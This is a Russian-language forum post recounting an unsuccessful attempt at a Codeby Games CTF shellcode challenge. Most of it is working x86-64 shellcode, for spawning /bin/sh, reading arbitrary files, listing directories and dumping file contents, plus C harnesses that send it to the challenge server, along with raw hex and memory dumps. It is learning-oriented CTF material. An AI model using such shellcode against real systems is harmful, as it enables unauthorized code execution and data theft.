• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Codeby Games Как я пытался решить таск - Код ракушки, но так и не смог

xverizex

Green Team
29.12.2022
24
11
BIT
194
Я приступил к следующему таску. Хотелось решить сначала все легкие задачки, чтобы переходит потом к более сложным, но эта задачка оказалась непростой. Первым делом я попробовал вызвать обычный шелл через syscall execve, но программа не выполняла эту команду корректно, хотя сам шелл в моей тестовой версии отрабатывать корректно.
Как я делаю шеллкоды. Пишу на ассемблере наш код, потом в radare2 смотрю размер секции кода и если он подходит, то можно с помощью команды pc создать буфер шеллкода.
Код:
section .text

global _start

_start:
        xor rax, rax
        mov al, 59
        mov rdi, 0x68732f6e69622fff
        shr rdi, 8
        push rdi
        lea rdi, [rsp]
        xor rsi, rsi
        xor rdx, rdx
        xor r9, r9
        syscall
Код:
> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
  0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62,
  0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57,
  0x48, 0x8d, 0x3c, 0x24, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
  0x4d, 0x31, 0xc9, 0x0f, 0x05, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
Ну и разумеется мы берем только ту часть байт, которая относится к действующему коду. Я взял часть кода из интернета, чтобы не заморачиваться с написанием запуска и настройки дочернего процесса, и код вышел вот такой.

C:
#include<unistd.h>
#include<sys/wait.h>
#include<sys/prctl.h>
#include<signal.h>
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include <stdint.h>

uint8_t shellcode[] = {
    0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62,
  0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57,
  0x48, 0x8d, 0x3c, 0x24, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
  0x4d, 0x31, 0xc9, 0x0f, 0x05};

int main(int argc, char** argv)
{
  pid_t pid = 0;
  int inpipefd[2];
  int outpipefd[2];
  char buf[256];
  char msg[256];
  int status;

  pipe(inpipefd);
  pipe(outpipefd);
  pid = fork();
  if (pid == 0)
  {
    // Child
    dup2(outpipefd[0], STDIN_FILENO);
    dup2(inpipefd[1], STDOUT_FILENO);
    dup2(inpipefd[1], STDERR_FILENO);

    //ask kernel to deliver SIGTERM in case the parent dies
    prctl(PR_SET_PDEATHSIG, SIGTERM);

    //close unused pipe ends
    close(outpipefd[1]);
    close(inpipefd[0]);

    //replace tee with your process
    execl("./task", "./task", (char*) NULL);
    // Nothing below this line should be executed by child process. If so, 
    // it means that the execl function wasn't successfull, so lets exit:
    exit(1);
  }
  // The code below will be executed only by parent. You can write and read
  // from the child using pipefd descriptors, and you can send signals to 
  // the process using its pid by kill() function. If the child process will
  // exit unexpectedly, the parent process will obtain SIGCHLD signal that
  // can be handled (e.g. you can respawn the child process).

  //close unused pipe ends
  close(outpipefd[0]);
  close(inpipefd[1]);

  // Now, you can write to outpipefd[1] and read from inpipefd[0] :  

  read(inpipefd[0], buf, 256);
  printf ("%s\n", buf);

  fgets(buf, 256, stdin);
  printf ("[+] Exploit\n");
  write (outpipefd[1], shellcode, sizeof(shellcode));
  //read(inpipefd[0], buf, 256);
  //printf ("%s\n", buf);
  printf("Enter message to send\n");

   fgets(msg, 256, stdin);

    write(outpipefd[1], msg, strlen(msg));
  while(1)
  {
#if 0
    fgets(msg, 256, stdin);
    if(strcmp(msg, "exit") == 0) break;

    write(outpipefd[1], msg, strlen(msg));
    //write(outpipefd[1], msg, strlen(msg));
#endif
    memset(buf, 0, 256);
    int r = read(inpipefd[0], buf, 256);
    if (r > 0) {
        if (buf[0] >= ' ' && buf[0] <= '~')
            printf("%s\n", buf);
    }

  }

  kill(pid, SIGKILL); //send SIGKILL signal to the child process
  waitpid(pid, &status, 0);
}
Эта программа запускает наш таск и после сообщения вписать наш шелл, программа останавливается, ожидая ввода команды вручную (любого символа). Это сделано для того, чтобы можно было с помощью radare2 подключиться к task, который запустила наша программа, и посмотреть, что всё отрабатывает нормально. Далее два раза надо прописать какой-нибудь символ, нажимаю Enter также два раза.
Я не понимал, почему execve не дает запуститься, возможно была какая-то защита. Тогда я написал шелл код для чтения файла.
Код:
section .text

global _start

_start:
    mov rbp, rsp
    xor rax, rax
    mov al, 2
    xor rdi, rdi
    push rdi
    mov rdi, 0x65726f63ffffffff
    shr rdi, 8 * 4
    push rdi
    lea rdi, [rbp - 16]
    xor rsi, rsi
    syscall
    mov [rbp - 16], rax
    mov dl, al
    xor al, al
    push rax
    push rax
    push rax
    push rax
    push rax
    mov al, dl
    mov rdi, [rbp - 16]
    lea rsi, [rsp]
    xor rdx, rdx
    mov dl, 32
    xor al, al
    syscall
    xor al, al
    inc al
    mov rdi, rax
    lea rsi, [rsp]
    syscall
В
Код:
mov rdi, 0x65726f63ffffffff
сейчас прописан файл core. С помощью этого шеллкода я мог читать любой файл в системе, но мне нужно было узнать какие файлы есть, так как попытка прочитать файлы flag.txt и fl@g.txt не увенчались успехом. Пробую читаю директорию, я в кое-чем ошибся и оставил это на потом.
Следующим шагом я захотел узнать, а вдруг в этой программе есть переменные среды, ну знаете, FLAG=CODEBY{F...}. Тогда мне нужна была уже программа для работы по сети. Я написал такую.
C:
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>

uint8_t shellcode[] = {
    0x48, 0x89, 0xe5, 0x48, 0x31, 0xc0, 0x50, 0x50, 0x50, 0x50,
  0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0xb0, 0x02, 0x5a, 0x5e,
  0x48, 0xff, 0xc6, 0x48, 0xc1, 0xe6, 0x10, 0xb2, 0x2e, 0x52,
  0x48, 0x8d, 0x3c, 0x24, 0x0f, 0x05, 0x48, 0x89, 0x45, 0xf8,
  0x89, 0xc7, 0x48, 0x8d, 0x74, 0x24, 0x20, 0x5a, 0xfe, 0xc2,
  0x66, 0xc1, 0xe2, 0x0b, 0xb0, 0x4e, 0x0f, 0x05, 0x48, 0x89,
  0x44, 0x24, 0x10, 0xb0, 0x01, 0xbf, 0x01, 0x00, 0x00, 0x00,
  0x48, 0x8d, 0x74, 0x24, 0x20, 0xba, 0x00, 0x08, 0x00, 0x00,
  0x0f, 0x05};

int main (int argc, char **argv)
{
    int sock = socket (AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in s;
    s.sin_family = AF_INET;
    inet_aton ("62.173.140.174", &s.sin_addr);
    s.sin_port = htons (27650);

    int ret = connect (sock, (const struct sockaddr *) &s, sizeof (s));
    if (ret != 0) {
        printf ("error connection: \n");
        exit (0);
    }

    printf ("[+] Connected\n");

    char l[] = "l";
    char buf[512];
    read (sock, buf, 512);
    printf ("%s\n", buf);
    memset (buf, 0, 512);
    printf ("[+] Exploit\n");
    write (sock, shellcode, sizeof (shellcode));
    printf ("[+] Enter some text\n");
    fgets(buf, 512, stdin);
    write (sock, buf, 512);
    while (1) {
        int r =    read (sock, buf, 512);
        if (r > 0) {
            if (buf[0] >= ' ' && buf[0] <= '~') {
                printf ("%s\n", buf);
            }
        }
    }

    printf ("%s\n", "close");
    close (sock);
}
Без fgets после "[+] Enter some text\n", не получиться запустить шелл, нужно дать сигнал, что строка закончена. По крайней мере у меня не получалось просто получать шелл без подтверждения отправки. Я написал такой шелл для чтения из памяти стека.
Код:
section .text

global _start

_start:
        mov r8, rdx
        add r8, 32 - 3
        mov rbp, rsp
        mov rax, rsp
        ;add ah, 0x20
        push rax
        push rax
        push rax
        push rax
        pop rsi
        mov [rbp - 8], rax
        pop rax
        pop rdi
        pop rdx
        mov rsi, [rbp - 8]
        xor rax, rax
        xor rdi, rdi
        xor rdx, rdx
        inc rax
        inc rdi
        inc rdx
        shl rdx, 4
        syscall
        inc rsi
        jmp r8
В итоге я получил вот такой выхлоп.
Код:
GB
rV
B
rV
A
rV
o?�Ҡ�
u��C����;�x86_��C����;�x86_6�C����;�x86_64C����;�x86_64
e6298
TH=/usr/local/sbH=/usr/local/sbi=/usr/local/sbin/usr/local/sbin:usr/local/sbin:/sr/local/sbin:/ur/local/sbin:/us/local/sbin:/usrlocal/sbin:/usr/ocal/sbin:/usr/lcal/sbin:/usr/loal/sbin:/usr/locl/sbin:/usr/loca/sbin:/usr/localsbin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/socal/bin:/usr/sbcal/bin:/usr/sbial/bin:/usr/sbinl/bin:/usr/sbin:/bin:/usr/sbin:/bin:/usr/sbin:/uin:/usr/sbin:/us
n:/usr/sbin:/usr:/usr/sbin:/usr//usr/sbin:/usr/busr/sbin:/usr/bisr/sbin:/usr/binr/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/bsr/bin:/sbin:/bir/bin:/sbin:/bin/bin:/sbin:/bin
PWD=/app
17.0.36
OTEIP=89
=59814
@
2

 
<
 

time
_clock_g
o_getcpu
.6
A��u��
9�u�H��H���A�D9�u�H��H=��A�D9�u�H��H=��A�D9�u�H��H=��A�D9�u�H��H=�ɚ�D9�u�H��H=�ɚ;D9�u�H��H=�ɚ;vD9�u�H��H=�ɚ;v9�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�H�H��H=�ɚ;v1�H-H��H=�ɚ;v1�H-
w�IЉ�LH=�ɚ;w�IЉ�L�H=�ɚ;w�IЉ�L�=�ɚ;w�IЉ�L�H�ɚ;w�IЉ�L�Hiɚ;w�IЉ�L�Hi��;w�IЉ�L�Hi��;w�IЉ�L�Hi��Mw�IЉ�L�Hi��Mb�IЉ�L�Hi��MbIЉ�L�Hi��MbHЉ�L�Hi��MbH�Љ�L�Hi��MbH���L�Hi��MbH��&�L�Hi��MbH��&�L�Hi��MbH��&���Hi��MbH��&��HHi��MbH��&��H�Hi��MbH��&��H�Gi��MbH��&��H���MbH��&��H�1�MbH��&��H�1�MbH��&��H�1�HbH��&��H�1�H�H��&��H�1�H��H��&��H�1�H����&��H�1�H����&��H�1�H���o&��H�1�H���o���H�1�H���o���H�1�H���o���H�1�H���o�����1�H��
M���L�F������AM���L�F������A����L�F������A����L�F������A����L�F������A���L�F������A���V�F������A���V�F������A���V��F������A���V���������A���V��������A���V�����M���LL��+������+����������A���V�������A���V�������A���V�����������V����������V�����+����
A9�u�H�����f9�u�H�����f��u�H�����f�
tH��UH��AUATS�H��UH��AUATS��H��UH��AUATS����UH��AUATS��w�UH��AUATS��wI�UH��AUATS��wI�UH��AUATS��wI�H��AUATS��wI�
x�E�HH9I�H��x�E�HH9ыH��x�E�HH9�sH��x�E�HH9�s
H��x�E�HH9�s
HH��x�E�HH9�s
H)��x�E�HH9�s
H)��x�E�HH9�s
H)�Ix�E�HH9�s
H)�I�E�HH9�s
H)�I�E�HH9�s
H)�I�ыHH9�s
H)�I��HHH9�s
H)�I��HH9�s
H)�I��H�H9�s
H)�I��H�A9�s
H)�I��H�A��s
H)�I��H�A�Hs
H)�I��H�A�H
H)�I��H�A�HMH)�I��H�A�HM�)�I��H�A�HM�J�I��H�A�HM�J I��H�A�HM�J A��H�A�HM�J A���H�A�HM�J A��H�A�HM�J A�DH�A�HM�J A�D9�A�HM�J A�D9��A�HM�J A�D9�uA�HM�J A�D9�u��HM�J A�D9�u�HHM�J A�D9�u�H�M�J A�
D9�u�H��M�J A�D9�u�H��H�J A�D9�u�H��H=J A�D9�u�H��H=� A�D9�u�H��H=��A�D9�u�H��H=�ɚ�D9�u�H��H=�ɚ;D9�u�H��H=�ɚ;vD9�u�H��H=�ɚ;v9�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�H�H��H=�ɚ;v1�H-H��H=�ɚ;v1�H-
;w�I�L��H=�ɚ;w�I�L�H=�ɚ;w�I�L�HH=�ɚ;w�I�L�H�=�ɚ;w�I�L�H�F�ɚ;w�I�L�H�ɚ;w�I�L�H�1�;w�I�L�H�1�;w�I�L�H�1�[w�I�L�H�1�[A�I�L�H�1�[A\I�L�H�1�[A\A�L�H�1�[A\A]�L�H�1�[A\A]]L�H�1�[A\A]]ÉH�1�[A\A]]�LH�1�[A\A]]�L�H�1�[A\A]]�L�%�1�[A\A]]�L�%�1�[A\A]]�L�%�1�[A\A]]�L�%���1�[A\A]]�L�%�����[A\A]]�L�%����A[A\A]]�L�%����A�A\A]]�L�%����A�\A]]�L�%����A�$A]]�L�%����A�$�]]�L�%����A�$��]�L�%����A�$���L�%����A�$���L�%����A�$���r�%����A�$���r�%����A�
$���r������A�$���r������A�$���r���L��A�$���r���L��A�$���r���L�-A�$���r���L�-܋$���r���L�-��$���r���L�-���$���r���L�-�������r���L�-����L��r���L�-����L��r���L�-�����L�%�����[A\A]]�L�%����A[A\A]]�L�%����A�A\A]]�L�%����A�\A]]�L�%����A�$A]]�L�%����A�$�]]�L�%����A�$��]�L�%����A�$���L�%����A�$���L�%����A�$���r�%����A�$���r�%����A�
f�D�%��    ����f�D�%�������f�D�%�������f�D�%����H��f�D�%����H��f�D�%����H���f�D�%����H�� �f�D�%����H�� Hf�D�%����H�� H    �D�%����H�� H    �D�%����H�� H    �H�%����H�� H    �H��%����H�� H    �H��%����H�� H    �H��D����H�� H    �H��D����H�� H    �H��D����H�� H    �H��D��H�H�� H    �H��D��H+H�� H    �H��D��H+�� H    �H��D��H+Y� H    �H��D��H+Y� H    �H��D��H+Y��H    �H��D��H+Y���    �H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��H��H+Y�����H��H��H+Y�����H��H��H+Y�����H��H��D+Y�����
R���HI�H��H��HR���HI�H��H��H���HI�H��H��H���HI�H��H��H���HI�H��H��H�� HI�H��H��H�� HI�H��H��H�� H�I�H��H��H�� H��H��H��H��H��D��H��E�䋉�H��D��H��E��
{
H��t
���
K
.04.2) 9ntu1~20.04.2) 9.tu1~20.04.2) 9.4u1~20.04.2) 9.4.1~20.04.2) 9.4.0~20.04.2) 9.4.0
h
gnu.versrsion
_frame_hote
nstructit
t
 
h

Так как это не увенчалось успехом, но хотя бы знаем, что путь к программе находится в /app. Теперь нужно было заставить читать текущий каталог программы. Я написал вот такой шелл. Здесь мы используем системный вызов getdents, чтобы получить содержимое каталога. Я решил не заморачиваться с выводом строк(названий файлов), а сделал просто вывод того, что есть, а в самой программе уже можно было бы читать hex байты.
Вот шеллкод.
Код:
section .text

global _start

_start:
    mov rbp, rsp
    xor rax, rax
    push rax
    push rax
    push rax
    push rax
    push rax
    push rax
    push rax
    push rax
    push rax
    push rax
    mov al, 2
    pop rdx
    pop rsi
    inc rsi
    shl rsi, 16
    mov dl, 0x2e
    push rdx
    lea rdi, [rsp]
    syscall
    mov [rbp - 8], rax
    mov edi, eax
    lea rsi, [rsp + 32]
    pop rdx
    inc dl
    shl dx, 11
    mov al, 78
    syscall
    mov [rsp + 16], rax
    mov al, 1
    mov rdi, 1
    lea rsi, [rsp + 32]
    mov rdx, 2048
    syscall
Подправив свой net.c программу, я могу смотреть бинарные данные, которые приходят.
C:
        while (1) {
                int r = read (sock, buf, 512);
                if (r > 0) {
#if 1
                        printf ("r: %d\n", r);
                        for (int i = 0; i < r; i++) {
                                printf ("%02x ", (uint8_t) buf[i]);
                        }
                        printf ("\n");
#else
                        if (buf[0] >= ' ' && buf[0] <= '~') {
                                printf ("%s\n", buf);
                        }
#endif
                }
        }
В итоге выхлоп такой.
Код:
xverizex@localhost:~/codeby> ./net 
[+] Connected
Enter your shellcode: 
[+] Exploit
[+] Enter some text
f
r: 512
01 00 00 00 00 00 00 00 18 00 2e 00 00 00 00 04 75 e2 7f 01 00 00 00 00 02 00 00 00 00 00 00 00 18 00 2e 2e 00 55 00 04 c6 c5 14 02 00 00 00 00 03 00 00 00 00 00 00 00 18 00 63 6f 72 65 00 08 48 de 9f 01 00 00 00 00 04 00 00 00 00 00 00 00 18 00 74 61 73 6b 00 08 00 00 00 00 01 00 00 00 78 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 04 2f 8a 00 a0 1a b5 7f 78 d5 b1 9c fc 7f 00 00 c9 01 b0 88 be 55 00 00 a0 2d b0 88 be 55 00 00 40 e0 a3 56 05 7f 00 00 04 2f 68 a8 c3 23 4c 80 04 2f 00 1a a0 b7 bf 81 00 00 00 00 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 b3 85 8a 57 52 8b 00 00 00 00 00 00 00 00 40 0e 80 56 05 7f 00 00 88 d5 b1 9c fc 7f 00 00 a0 2d b0 88 be 55 00 00 e0 f2 a3 56 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 70 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 b0 88 be 55 00 00 68 d5 b1 9c fc 7f 00 00 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 18 df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 22 df b1 9c fc 7f 00 00 38 df b1 9c fc 7f 00 00 43 df b1 9c fc 7f 00 00 85 df b1 9c fc 7f 00 00 8e df b1 9c fc 7f 00 00 98 df b1 9c fc 7f 00 00 af df b1 9c fc 7f 00 00 c1 df b1 9c fc 7f 00 00 da df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 d0 b9 9c fc 7f 00 00 10 00 00 00 00 00 00 00 ff fb eb bf 00 00 00 00 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 40 f0 af 88 be 55 00 00 
r: 512
04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 40 a0 56 05 7f 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00 19 d7 b1 9c fc 7f 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 ee df b1 9c fc 7f 00 00 0f 00 00 00 00 00 00 00 29 d7 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 86 b3 85 8a 57 52 8b 44 00 50 8d da 3f 82 17 78 38 36 5f 36 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Далее я захожу на сайт и смотрю как отобразиться hex в ascii.

Код:
��������.����u�������������..�U���������������core�Hޟ������������task��������xձ������������/����xձ��������U���-���U��@�V��/h��#L�/������������������������������������������������WR���������@�V���ձ�����-���U����V�����������������������U��pձ�����������������������U��hձ������������������߱������������"߱����8߱����C߱�����߱�����߱�����߱�����߱�����߱�����߱������������!��������й���������������������������������������d��������������@𯈾U���������8��������������
���������������@�V�����������������    ������������U��������������������������������
����������������������������������������������������ױ���������������������������߱�����������)ױ�������������������������WR�D�P��?�x86_64���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Видим, что есть файл core и task. Потом я отредактировал shellcode и добавил циклы, но всё равно было только два файла, core и task. Также слово Me появилось, но чтение этого файла не удалось, так что можно было подумать, что это просто мусорные данные. Нужно было попробовать скачать core файл и я приступил к написанию кода на ассемблере. Первое, что я хотел сделать, это узнать размер программы core. Я написал такой шеллкод.

Код:
section .text

global _start

_start:
        xor rax, rax
        mov cl, 18
cycle:
        push rax
        dec cl
        cmp cl, 0
        jne cycle
        mov al, 4
        mov rdi, 0x65726f63ffffffff
        shr rdi, 8 * 4
        push rdi
        lea rdi, [rsp]
        lea rsi, [rsp + 8]
        xor rdx, rdx
        xor r9, r9
        syscall
        xor rdi, rdi
        inc di
        lea rsi, [rsp + 8]
        mov rdx, 144
        mov al, 1
        syscall
и получил такой выхлоп.
Код:
01 00 30 00 00 00 00 00 ed db 14 02 00 00 00 00 01 00 00 00 00 00 00 00 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 00 00 00 00 00 10 00 00 00 00 00 00 08 01 00 00 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Смещение размера файла находилось на смещении 48.
434176 - размер файла core. Теперь нужно было скачать его. Я написал шелл, который должен был скачать этот файл.
Код:
section .text

global _start

_start:
    mov rbp, rsp
    xor rax, rax
    mov al, 2
    xor rdi, rdi
    push rdi
    mov edi, 0x65726f63
    push rdi
    lea rdi, [rbp - 16]
    xor rsi, rsi
    syscall
    mov [rbp - 16], rax
    mov cl, 16 + 4
cycle:
    push rax
    dec cl
    jne cycle
    mov ecx, 434176
copy:
    mov rdi, [rbp - 16]
    lea rsi, [rsp]
    mov rdx, 128
    xor al, al
    syscall
    js end
    mov r8d, eax
    mov al, 1
    mov rdi, rax
    lea rsi, [rsp]
;    mov edx, r8d
    syscall
    sub ecx, r8d
    jne copy
end:

Таким образом я выкачал файл core с избыточными данными. Выполнив strings для нашего файла, который я отсек до размера, которым он соответствует, я нашел.
Код:
